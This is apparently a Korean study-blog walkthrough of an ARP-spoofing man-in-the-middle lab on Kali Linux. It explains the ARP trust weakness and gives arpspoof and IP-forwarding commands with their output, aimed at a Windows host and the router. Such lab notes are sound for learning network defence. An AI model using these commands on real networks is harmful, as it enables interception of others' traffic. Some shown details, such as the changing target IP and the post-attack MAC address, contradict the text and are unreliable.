[2025-11-06] 네트워크 해킹
🦥 본문
ARP 스푸핑
악성 ARP 패킷을 보내 기기의 ARP 테이블을 변조하는 공격.
원리
ARP의 특징
- ARP request/reply는 암묵적으로 신뢰하여 인증이 없음
- 클라이언트는 ARP request을 보내지 않아도 ARP reply를 받아들임
ARP request를 보내지 않은 기기가 가짜 MAC 주소가 담겨 있는 ARP reply를 받아 ARP 테이블을 공격
액티브 캡처 방법
단순히 통신을 가로채면 정상 통신을 유지할 수 없기 때문에 다음과 같이 실행
- 동작 흐름
- 대상 기기를 대상으로 ARP 스푸핑을 하고 라우터에 도착해야 할 패킷을 공격 기기에 도착하게 함
- 라우터를 대상으로 ARP 스푸핑을 하고 대상 기기에 도착해야 할 패킷을 공격 기기에 도착하게 함
- 공격 기기는 대상 기기나 라우터로부터 도착한 패킷을 전달


arpspoof를 이용한 액티브 캡처
-
실습 환경

-
가상 네트워크 어댑터 설정
칼리 종료 후 [설정] - [네트워크] - [어댑터 1]에서 다음과 같이 설정
Attached to : [어댑터에 브리지]
Promiscusous Mode : [모두 허용]
- Promiscusous mode : 가상 머신의 가상 네트워크 인터페이스 카드가 자신에게 직접적으로 향하지 않는 네트워크 트래픽까지도 수신하여 처리할 수 있도록 설정
-
칼리 가상 머신 기동
└─$ ifconfig eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.219.105 netmask 255.255.255.0 broadcast 192.168.219.255 << LAN 내의 IP 주소 # 간혹 10.0.0.2로 되는 경우가 있는 데 그건 이전에 설정했던 설정 때문이다. ─$ sudo nano /etc/network/interfaces #에서 설정했던 것들을 주석처리하고 재시작하면 해결-
라우터와의 통신 확인
# 라우터 IP 확인 └─$ ip route default via 192.168.219.1 dev eth0 proto dhcp src 192.168.219.105 metric 100 192.168.219.0/24 dev eth0 proto kernel scope link src 192.168.219.105 metric 100 # 라우터와의 통신 확인 ┌──(kali㉿kali)-[~] └─$ ping -c 4 192.168.219.1 PING 192.168.219.1 (192.168.219.1) 56(84) bytes of data. 64 bytes from 192.168.219.1: icmp_seq=1 ttl=64 time=8.52 ms 64 bytes from 192.168.219.1: icmp_seq=2 ttl=64 time=5.91 ms 64 bytes from 192.168.219.1: icmp_seq=3 ttl=64 time=6.45 ms 64 bytes from 192.168.219.1: icmp_seq=4 ttl=64 time=8.87 ms --- 192.168.219.1 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3012ms rtt min/avg/max/mdev = 5.914/7.439/8.873/1.276 ms -
인터넷과의 통신 확인
└─$ ping -c 4 8.8.8.8 PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. 64 bytes from 8.8.8.8: icmp_seq=1 ttl=112 time=45.5 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=112 time=42.7 ms 64 bytes from 8.8.8.8: icmp_seq=3 ttl=112 time=45.4 ms 64 bytes from 8.8.8.8: icmp_seq=4 ttl=112 time=44.4 ms --- 8.8.8.8 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3016ms rtt min/avg/max/mdev = 42.739/44.512/45.468/1.102 ms
-
-
대상 단말의 ARP 테이블 확인
대상 단말에서 라우터의 MAC 주소 확인
C:\Users\hanse>arp -a 인터페이스: 192.168.219.120 --- 0xf 인터넷 주소 물리적 주소 유형 192.168.219.1 80-ca-4b-99-86-45 동적 << 동적에서 확인 -
칼리에서 MAC 주소와 IP 주소 확인
└─$ ip addr show eth0 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 08:00:27:1f:b7:23 brd ff:ff:ff:ff:ff:ff inet 192.168.219.105/24 brd 192.168.219.255 scope global dynamic noprefixroute eth0 valid_lft 20773sec preferred_lft 20773sec inet6 fe80::a6fe:8619:a294:9714/64 scope link noprefixroute valid_lft forever preferred_lft forever- route 명령으로 게이트웨이 IP 주소 확인
Destination Gateway Genmask Flags Metric Ref Use Iface default 192.168.219.1 0.0.0.0 UG 100 0 0 eth0 192.168.219.0 0.0.0.0 255.255.255.0 U 100 0 0 eth0 -
IP 포워딩 기능 활성화
┌──(root㉿kali)-[~] echo 1 > /proc/sys/net/ipv4/ip_forward ┌──(root㉿kali)-[~] cat /proc/sys/net/ipv4/ip_forward 1 - 와이어샤크 캡처 시작
-
대상 단말에 가짜 정보 전송
arpspoof -i 인터페이스 이름 -t 대상 단말의 ip 주소 변경하고 싶은 ip 주소 ─# arpspoof -i eth0 -t 192.168.219.123 192.168.219.1 8:0:27:1f:b7:23 4c:5f:70:4:82:74 0806 42: arp reply 192.168.219.1 is-at 8:0:27:1f:b7:23 8:0:27:1f:b7:23 4c:5f:70:4:82:74 0806 42: arp reply 192.168.219.1 is-at 8:0:27:1f:b7:23 -
대상 단말의 ARP 테이블 변경
C:\Users\hanse>arp -a 인터페이스: 192.168.219.123 --- 0x8 인터넷 주소 물리적 주소 유형 192.168.219.1 5c-b4-7e-bb-64-3a 동적와이어샤크에서 해당 패킷 확인. 가짜 정보가 담김

192.168.219.1의 MAC 주소를 KALI의 MAC 주소로 바꿈
-
라우터에 가짜 정보 전송
└─# arpspoof -i eth0 -t 192.168.219.1 192.168.219.123 8:0:27:1f:b7:23 80:ca:4b:99:86:45 0806 42: arp reply 192.168.219.123 is-at 8:0:27:1f:b7:23 -
인터넷 접속 시 와이어샤크에서 캡쳐 확인

-
종료
echo 0 > /proc/sys/net/ipv4/ip_forward
Leave a comment